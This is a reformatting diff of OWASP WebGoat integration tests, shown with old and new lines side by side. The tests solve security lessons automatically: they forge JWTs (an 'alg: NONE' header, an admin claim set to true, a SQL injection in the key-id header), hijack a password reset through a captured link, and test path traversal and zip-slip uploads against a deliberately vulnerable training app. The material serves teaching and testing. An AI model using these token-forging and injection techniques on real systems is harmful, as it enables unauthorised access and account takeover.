.statusCode(200).extract().jsonPath().getList("assignment.path"), CoreMatchers.everyItem(CoreMatchers.startsWith(prefix))); .statusCode(200)
.extract()
.jsonPath()
.getList("assignment.path"),
CoreMatchers.everyItem(CoreMatchers.startsWith(prefix)));
} }
public void checkResults() { public void checkResults() {
var result = RestAssured.given() var result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/lessonoverview.mvc")) .get(url("service/lessonoverview.mvc"))
.andReturn(); .andReturn();
MatcherAssert.assertThat(result.then() MatcherAssert.assertThat(
.statusCode(200).extract().jsonPath().getList("solved"), CoreMatchers.everyItem(CoreMatchers.is(true))); result.then().statusCode(200).extract().jsonPath().getList("solved"),
CoreMatchers.everyItem(CoreMatchers.is(true)));
} }
public void checkAssignment(String url, ContentType contentType, String body, boolean expectedResult) { public void checkAssignment(
String url, ContentType contentType, String body, boolean expectedResult) {
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
.when() .when()
@ -189,7 +204,9 @@ public abstract class IntegrationTest {
.post(url) .post(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) { public void checkAssignmentWithGet(String url, Map<String, ?> params, boolean expectedResult) {
@ -202,17 +219,23 @@ public abstract class IntegrationTest {
.get(url) .get(url)
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(expectedResult)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(expectedResult));
} }
public String getWebWolfFileServerLocation() { public String getWebWolfFileServerLocation() {
String result = RestAssured.given() String result =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/file-server-location")) .get(webWolfUrl("/file-server-location"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
result = result.replace("%20", " "); result = result.replace("%20", " ");
return result; return result;
} }
@ -224,8 +247,9 @@ public abstract class IntegrationTest {
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/server-directory")) .get(url("/server-directory"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
} }
} }

View File

@ -1,5 +1,16 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import java.io.IOException; import java.io.IOException;
import java.nio.charset.Charset; import java.nio.charset.Charset;
import java.security.InvalidKeyException; import java.security.InvalidKeyException;
@ -10,23 +21,9 @@ import java.util.Calendar;
import java.util.Date; import java.util.Date;
import java.util.HashMap; import java.util.HashMap;
import java.util.Map; import java.util.Map;
import org.hamcrest.CoreMatchers; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert; import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.Test; import org.junit.jupiter.api.Test;
import com.fasterxml.jackson.databind.JsonNode;
import com.fasterxml.jackson.databind.ObjectMapper;
import com.fasterxml.jackson.databind.node.ObjectNode;
import io.jsonwebtoken.Header;
import io.jsonwebtoken.JwsHeader;
import io.jsonwebtoken.Jwt;
import io.jsonwebtoken.JwtException;
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.impl.TextCodec;
import io.restassured.RestAssured;
import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint; import org.owasp.webgoat.lessons.jwt.JWTSecretKeyEndpoint;
public class JWTLessonIntegrationTest extends IntegrationTest { public class JWTLessonIntegrationTest extends IntegrationTest {
@ -61,7 +58,8 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.claim("username", "WebGoat") .claim("username", "WebGoat")
.claim("Email", "tom@webgoat.org") .claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"}) .claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, key).compact(); .signWith(SignatureAlgorithm.HS256, key)
.compact();
} }
private String getSecretToken(String token) { private String getSecretToken(String token) {
@ -86,19 +84,23 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/decode")) .post(url("/WebGoat/JWT/decode"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException { private void findPassword() throws IOException, NoSuchAlgorithmException, InvalidKeyException {
String accessToken = RestAssured.given() String accessToken =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/secret/gettoken")) .get(url("/WebGoat/JWT/secret/gettoken"))
.then() .then()
.extract().response().asString(); .extract()
.response()
.asString();
String secret = getSecretToken(accessToken); String secret = getSecretToken(accessToken);
@ -111,18 +113,21 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/secret")) .post(url("/WebGoat/JWT/secret"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void resetVotes() throws IOException { private void resetVotes() throws IOException {
String accessToken = RestAssured.given() String accessToken =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("/WebGoat/JWT/votings/login?user=Tom")) .get(url("/WebGoat/JWT/votings/login?user=Tom"))
.then() .then()
.extract().cookie("access_token"); .extract()
.cookie("access_token");
String header = accessToken.substring(0, accessToken.indexOf(".")); String header = accessToken.substring(0, accessToken.indexOf("."));
header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset()))); header = new String(Base64.getUrlDecoder().decode(header.getBytes(Charset.defaultCharset())));
@ -137,10 +142,14 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
JsonNode bodyObject = mapper.readTree(body); JsonNode bodyObject = mapper.readTree(body);
bodyObject = ((ObjectNode) bodyObject).put("admin", "true"); bodyObject = ((ObjectNode) bodyObject).put("admin", "true");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())) String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".") .concat(".")
.concat(new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes())).toString()) .concat(
.concat(".").replace("=", ""); new String(Base64.getUrlEncoder().encode(bodyObject.toString().getBytes()))
.toString())
.concat(".")
.replace("=", "");
MatcherAssert.assertThat( MatcherAssert.assertThat(
RestAssured.given() RestAssured.given()
@ -151,14 +160,24 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.post(url("/WebGoat/JWT/votings")) .post(url("/WebGoat/JWT/votings"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void buyAsTom() throws IOException { private void buyAsTom() throws IOException {
String header = new String(Base64.getUrlDecoder().decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset()))); String header =
new String(
Base64.getUrlDecoder()
.decode("eyJhbGciOiJIUzUxMiJ9".getBytes(Charset.defaultCharset())));
String body = new String(Base64.getUrlDecoder().decode("eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0".getBytes(Charset.defaultCharset()))); String body =
new String(
Base64.getUrlDecoder()
.decode(
"eyJhZG1pbiI6ImZhbHNlIiwidXNlciI6IkplcnJ5In0"
.getBytes(Charset.defaultCharset())));
body = body.replace("Jerry", "Tom"); body = body.replace("Jerry", "Tom");
@ -166,25 +185,36 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
JsonNode headerNode = mapper.readTree(header); JsonNode headerNode = mapper.readTree(header);
headerNode = ((ObjectNode) headerNode).put("alg", "NONE"); headerNode = ((ObjectNode) headerNode).put("alg", "NONE");
String replacedToken = new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes())).concat(".") String replacedToken =
new String(Base64.getUrlEncoder().encode(headerNode.toString().getBytes()))
.concat(".")
.concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString()) .concat(new String(Base64.getUrlEncoder().encode(body.getBytes())).toString())
.concat(".").replace("=", ""); .concat(".")
.replace("=", "");
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
.when().relaxedHTTPSValidation() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.header("Authorization", "Bearer " + replacedToken) .header("Authorization", "Bearer " + replacedToken)
.post(url("/WebGoat/JWT/refresh/checkout")) .post(url("/WebGoat/JWT/refresh/checkout"))
.then().statusCode(200) .then()
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .statusCode(200)
.extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void deleteTom() { private void deleteTom() {
Map<String, Object> header = new HashMap(); Map<String, Object> header = new HashMap();
header.put(Header.TYPE, Header.JWT_TYPE); header.put(Header.TYPE, Header.JWT_TYPE);
header.put(JwsHeader.KEY_ID, "hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --"); header.put(
String token = Jwts.builder() JwsHeader.KEY_ID,
"hacked' UNION select 'deletingTom' from INFORMATION_SCHEMA.SYSTEM_USERS --");
String token =
Jwts.builder()
.setHeader(header) .setHeader(header)
.setIssuer("WebGoat Token Builder") .setIssuer("WebGoat Token Builder")
.setAudience("webgoat.org") .setAudience("webgoat.org")
@ -194,15 +224,20 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
.claim("username", "Tom") .claim("username", "Tom")
.claim("Email", "tom@webgoat.org") .claim("Email", "tom@webgoat.org")
.claim("Role", new String[] {"Manager", "Project Administrator"}) .claim("Role", new String[] {"Manager", "Project Administrator"})
.signWith(SignatureAlgorithm.HS256, "deletingTom").compact(); .signWith(SignatureAlgorithm.HS256, "deletingTom")
.compact();
MatcherAssert.assertThat(RestAssured.given() MatcherAssert.assertThat(
.when().relaxedHTTPSValidation() RestAssured.given()
.when()
.relaxedHTTPSValidation()
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.post(url("/WebGoat/JWT/final/delete?token=" + token)) .post(url("/WebGoat/JWT/final/delete?token=" + token))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void quiz() { private void quiz() {
@ -212,5 +247,4 @@ public class JWTLessonIntegrationTest extends IntegrationTest {
checkAssignment(url("/WebGoat/JWT/quiz"), params, true); checkAssignment(url("/WebGoat/JWT/quiz"), params, true);
} }
} }

View File

@ -3,92 +3,139 @@ package org.owasp.webgoat;
import io.restassured.RestAssured; import io.restassured.RestAssured;
import io.restassured.http.ContentType; import io.restassured.http.ContentType;
import io.restassured.path.json.JsonPath; import io.restassured.path.json.JsonPath;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
import java.io.FileInputStream; import java.io.FileInputStream;
import java.io.InputStream; import java.io.InputStream;
import java.util.List; import java.util.List;
import java.util.Properties; import java.util.Properties;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
public class LabelAndHintIntegrationTest extends IntegrationTest { public class LabelAndHintIntegrationTest extends IntegrationTest {
final static String ESCAPE_JSON_PATH_CHAR = "\'"; static final String ESCAPE_JSON_PATH_CHAR = "\'";
@Test @Test
public void testSingleLabel() { public void testSingleLabel() {
Assertions.assertTrue(true); Assertions.assertTrue(true);
JsonPath jsonPath = RestAssured.given() JsonPath jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc"))
.then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals("Try again: but this time enter a value before hitting go.", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"http-basics.close"+ESCAPE_JSON_PATH_CHAR)); Assertions.assertEquals(
"Try again: but this time enter a value before hitting go.",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "http-basics.close" + ESCAPE_JSON_PATH_CHAR));
// check if lang parameter overrules Accept-Language parameter // check if lang parameter overrules Accept-Language parameter
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=nl")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=nl"))
Assertions.assertEquals("Gebruikersnaam", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Gebruikersnaam",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "en") .header("Accept-Language", "en")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=de")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=de"))
Assertions.assertEquals("Benutzername", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Benutzername",
jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "nl") .header("Accept-Language", "nl")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc?lang=xx")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc?lang=xx"))
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
// check if invalid language returns english // check if invalid language returns english
jsonPath = RestAssured.given() jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
.header("Accept-Language", "xx_YY") .header("Accept-Language", "xx_YY")
.cookie("JSESSIONID", getWebGoatCookie()) .cookie("JSESSIONID", getWebGoatCookie())
.get(url("service/labels.mvc")).then().statusCode(200).extract().jsonPath(); .get(url("service/labels.mvc"))
Assertions.assertEquals("Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR+"username"+ESCAPE_JSON_PATH_CHAR)); .then()
.statusCode(200)
.extract()
.jsonPath();
Assertions.assertEquals(
"Username", jsonPath.getString(ESCAPE_JSON_PATH_CHAR + "username" + ESCAPE_JSON_PATH_CHAR));
} }
@Test @Test
public void testHints() { public void testHints() {
JsonPath jsonPathLabels = getLabels("en"); JsonPath jsonPathLabels = getLabels("en");
List<String> allLessons = List.of( List<String> allLessons =
List.of(
"HttpBasics", "HttpBasics",
"HttpProxies", "CIA", "InsecureLogin", "Cryptography", "PathTraversal", "HttpProxies",
"XXE", "JWT", "IDOR", "SSRF", "WebWolfIntroduction", "CrossSiteScripting", "CSRF", "HijackSession", "CIA",
"SqlInjection", "SqlInjectionMitigations" ,"SqlInjectionAdvanced", "InsecureLogin",
"Cryptography",
"PathTraversal",
"XXE",
"JWT",
"IDOR",
"SSRF",
"WebWolfIntroduction",
"CrossSiteScripting",
"CSRF",
"HijackSession",
"SqlInjection",
"SqlInjectionMitigations",
"SqlInjectionAdvanced",
"Challenge1"); "Challenge1");
for (String lesson : allLessons) { for (String lesson : allLessons) {
startLesson(lesson); startLesson(lesson);
List<String> hintKeys = getHints(); List<String> hintKeys = getHints();
for (String key : hintKeys) { for (String key : hintKeys) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR); String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
// System.out.println("key: " + key + " ,value: " + keyValue); // System.out.println("key: " + key + " ,value: " + keyValue);
Assertions.assertNotNull(keyValue); Assertions.assertNotNull(keyValue);
Assertions.assertNotEquals(key, keyValue); Assertions.assertNotEquals(key, keyValue);
} }
} }
//Assertions.assertEquals("http-basics.hints.http_basics_lesson.1", ""+jsonPath.getList("hint").get(0)); // Assertions.assertEquals("http-basics.hints.http_basics_lesson.1",
// ""+jsonPath.getList("hint").get(0));
} }
@Test @Test
@ -97,20 +144,25 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
JsonPath jsonPathLabels = getLabels("en"); JsonPath jsonPathLabels = getLabels("en");
Properties propsDefault = getProperties(""); Properties propsDefault = getProperties("");
for (String key : propsDefault.stringPropertyNames()) { for (String key : propsDefault.stringPropertyNames()) {
String keyValue = jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR); String keyValue =
jsonPathLabels.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR);
Assertions.assertNotNull(keyValue); Assertions.assertNotNull(keyValue);
} }
checkLang(propsDefault, "nl"); checkLang(propsDefault, "nl");
checkLang(propsDefault, "de"); checkLang(propsDefault, "de");
checkLang(propsDefault, "fr"); checkLang(propsDefault, "fr");
checkLang(propsDefault, "ru"); checkLang(propsDefault, "ru");
} }
private Properties getProperties(String lang) { private Properties getProperties(String lang) {
Properties prop = null; Properties prop = null;
if (lang == null || lang.equals("")) { lang = ""; } else { lang = "_"+lang; } if (lang == null || lang.equals("")) {
try (InputStream input = new FileInputStream("src/main/resources/i18n/messages"+lang+".properties")) { lang = "";
} else {
lang = "_" + lang;
}
try (InputStream input =
new FileInputStream("src/main/resources/i18n/messages" + lang + ".properties")) {
prop = new Properties(); prop = new Properties();
// load a properties file // load a properties file
@ -130,9 +182,13 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
System.err.println("key: " + key + " in (" + lang + ") is missing from default properties"); System.err.println("key: " + key + " in (" + lang + ") is missing from default properties");
Assertions.fail(); Assertions.fail();
} }
if (!jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR).equals(propsLang.get(key))) { if (!jsonPath
System.out.println("key: " + key + " in (" +lang+") has incorrect translation in label service"); .getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR)
System.out.println("actual:"+jsonPath.getString(ESCAPE_JSON_PATH_CHAR+key+ESCAPE_JSON_PATH_CHAR)); .equals(propsLang.get(key))) {
System.out.println(
"key: " + key + " in (" + lang + ") has incorrect translation in label service");
System.out.println(
"actual:" + jsonPath.getString(ESCAPE_JSON_PATH_CHAR + key + ESCAPE_JSON_PATH_CHAR));
System.out.println("expected: " + propsLang.getProperty(key)); System.out.println("expected: " + propsLang.getProperty(key));
System.out.println(); System.out.println();
Assertions.fail(); Assertions.fail();
@ -151,11 +207,14 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
.get(url("service/labels.mvc")) .get(url("service/labels.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200).extract().jsonPath(); .statusCode(200)
.extract()
.jsonPath();
} }
private List<String> getHints() { private List<String> getHints() {
JsonPath jsonPath = RestAssured.given() JsonPath jsonPath =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.contentType(ContentType.JSON) .contentType(ContentType.JSON)
@ -163,8 +222,9 @@ public class LabelAndHintIntegrationTest extends IntegrationTest {
.get(url("service/hint.mvc")) .get(url("service/hint.mvc"))
.then() .then()
// .log().all() // .log().all()
.statusCode(200).extract().jsonPath(); .statusCode(200)
.extract()
.jsonPath();
return jsonPath.getList("hint"); return jsonPath.getList("hint");
} }
} }

View File

@ -1,8 +1,11 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import lombok.SneakyThrows;
import io.restassured.RestAssured;
import java.util.Arrays;
import java.util.Map;
import lombok.SneakyThrows;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.assertj.core.api.Assertions; import org.assertj.core.api.Assertions;
import org.junit.jupiter.api.AfterEach; import org.junit.jupiter.api.AfterEach;
@ -10,11 +13,6 @@ import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest; import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory; import org.junit.jupiter.api.TestFactory;
import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import java.util.Arrays;
import java.util.Map;
public class PasswordResetLessonIntegrationTest extends IntegrationTest { public class PasswordResetLessonIntegrationTest extends IntegrationTest {
@BeforeEach @BeforeEach
@ -30,24 +28,42 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()), dynamicTest("assignment 6 - solve assignment", () -> solveAssignment()),
dynamicTest("assignment 2 - simple reset", () -> assignment2()), dynamicTest("assignment 2 - simple reset", () -> assignment2()),
dynamicTest("assignment 4 - guess questions", () -> assignment4()), dynamicTest("assignment 4 - guess questions", () -> assignment4()),
dynamicTest("assignment 5 - simple questions",()-> assignment5()) dynamicTest("assignment 5 - simple questions", () -> assignment5()));
);
} }
public void assignment2() { public void assignment2() {
checkAssignment(url("PasswordReset/simple-mail/reset"), Map.of("emailReset", this.getUser()+"@webgoat.org"), false); checkAssignment(
checkAssignment(url("PasswordReset/simple-mail"), Map.of("email", this.getUser()+"@webgoat.org", "password", StringUtils.reverse(this.getUser())), true); url("PasswordReset/simple-mail/reset"),
Map.of("emailReset", this.getUser() + "@webgoat.org"),
false);
checkAssignment(
url("PasswordReset/simple-mail"),
Map.of(
"email",
this.getUser() + "@webgoat.org",
"password",
StringUtils.reverse(this.getUser())),
true);
} }
public void assignment4() { public void assignment4() {
checkAssignment(url("PasswordReset/questions"), Map.of("username", "tom", "securityQuestion", "purple"), true); checkAssignment(
url("PasswordReset/questions"),
Map.of("username", "tom", "securityQuestion", "purple"),
true);
} }
public void assignment5() { public void assignment5() {
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite animal?"), false); checkAssignment(
checkAssignment(url("PasswordReset/SecurityQuestions"), Map.of("question", "What is your favorite color?"), true); url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite animal?"),
false);
checkAssignment(
url("PasswordReset/SecurityQuestions"),
Map.of("question", "What is your favorite color?"),
true);
} }
public void solveAssignment() { public void solveAssignment() {
// WebGoat // WebGoat
clickForgotEmailLink("tom@webgoat-cloud.org"); clickForgotEmailLink("tom@webgoat-cloud.org");
@ -57,26 +73,34 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
// WebGoat // WebGoat
changePassword(link); changePassword(link);
checkAssignment(url("PasswordReset/reset/login"), Map.of("email", "tom@webgoat-cloud.org", "password", "123456"), true); checkAssignment(
url("PasswordReset/reset/login"),
Map.of("email", "tom@webgoat-cloud.org", "password", "123456"),
true);
} }
public void sendEmailShouldBeAvailableInWebWolf() { public void sendEmailShouldBeAvailableInWebWolf() {
clickForgotEmailLink(this.getUser() + "@webgoat.org"); clickForgotEmailLink(this.getUser() + "@webgoat.org");
var responseBody = RestAssured.given() var responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/mail")) .get(webWolfUrl("/WebWolf/mail"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link"); Assertions.assertThat(responseBody).contains("Hi, you requested a password reset link");
} }
@AfterEach @AfterEach
public void shutdown() { public void shutdown() {
//this will run only once after the list of dynamic tests has run, this is to test if the lesson is marked complete // this will run only once after the list of dynamic tests has run, this is to test if the
// lesson is marked complete
checkResults("/PasswordReset"); checkResults("/PasswordReset");
} }
@ -92,15 +116,22 @@ public class PasswordResetLessonIntegrationTest extends IntegrationTest {
} }
private String getPasswordResetLinkFromLandingPage() { private String getPasswordResetLinkFromLandingPage() {
var responseBody = RestAssured.given() var responseBody =
RestAssured.given()
.when() .when()
.relaxedHTTPSValidation() .relaxedHTTPSValidation()
.cookie("WEBWOLFSESSION", getWebWolfCookie()) .cookie("WEBWOLFSESSION", getWebWolfCookie())
.get(webWolfUrl("/WebWolf/requests")) .get(webWolfUrl("/WebWolf/requests"))
.then() .then()
.extract().response().getBody().asString(); .extract()
.response()
.getBody()
.asString();
int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/"); int startIndex = responseBody.lastIndexOf("/PasswordReset/reset/reset-password/");
var link = responseBody.substring(startIndex + "/PasswordReset/reset/reset-password/".length(), responseBody.indexOf(",", startIndex) - 1); var link =
responseBody.substring(
startIndex + "/PasswordReset/reset/reset-password/".length(),
responseBody.indexOf(",", startIndex) - 1);
return link; return link;
} }

View File

@ -1,16 +1,8 @@
package org.owasp.webgoat; package org.owasp.webgoat;
import io.restassured.RestAssured; import static org.junit.jupiter.api.DynamicTest.dynamicTest;
import lombok.SneakyThrows;
import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
import io.restassured.RestAssured;
import java.io.File; import java.io.File;
import java.io.FileOutputStream; import java.io.FileOutputStream;
import java.io.IOException; import java.io.IOException;
@ -21,13 +13,19 @@ import java.util.Arrays;
import java.util.Map; import java.util.Map;
import java.util.zip.ZipEntry; import java.util.zip.ZipEntry;
import java.util.zip.ZipOutputStream; import java.util.zip.ZipOutputStream;
import lombok.SneakyThrows;
import static org.junit.jupiter.api.DynamicTest.dynamicTest; import org.hamcrest.CoreMatchers;
import org.hamcrest.MatcherAssert;
import org.junit.jupiter.api.AfterEach;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.DynamicTest;
import org.junit.jupiter.api.TestFactory;
import org.junit.jupiter.api.io.TempDir;
import org.springframework.security.core.token.Sha512DigestUtils;
class PathTraversalIT extends IntegrationTest { class PathTraversalIT extends IntegrationTest {
@TempDir @TempDir Path tempDir;
Path tempDir;
private File fileToUpload = null; private File fileToUpload = null;
@ -46,8 +44,7 @@ class PathTraversalIT extends IntegrationTest {
dynamicTest("assignment 2 - profile upload fix", () -> assignment2()), dynamicTest("assignment 2 - profile upload fix", () -> assignment2()),
dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()), dynamicTest("assignment 3 - profile upload remove user input", () -> assignment3()),
dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()), dynamicTest("assignment 4 - profile upload random pic", () -> assignment4()),
dynamicTest("assignment 5 - zip slip", () -> assignment5()) dynamicTest("assignment 5 - zip slip", () -> assignment5()));
);
} }
private void assignment1() throws IOException { private void assignment1() throws IOException {
@ -61,7 +58,9 @@ class PathTraversalIT extends IntegrationTest {
.post(url("/WebGoat/PathTraversal/profile-upload")) .post(url("/WebGoat/PathTraversal/profile-upload"))
.then() .then()
.statusCode(200) .statusCode(200)
.extract().path("lessonCompleted"), CoreMatchers.is(true)); .extract()
.path("lessonCompleted"),
CoreMatchers.is(true));
} }
private void assignment2() throws IOException { private void assignment2() throws IOException {
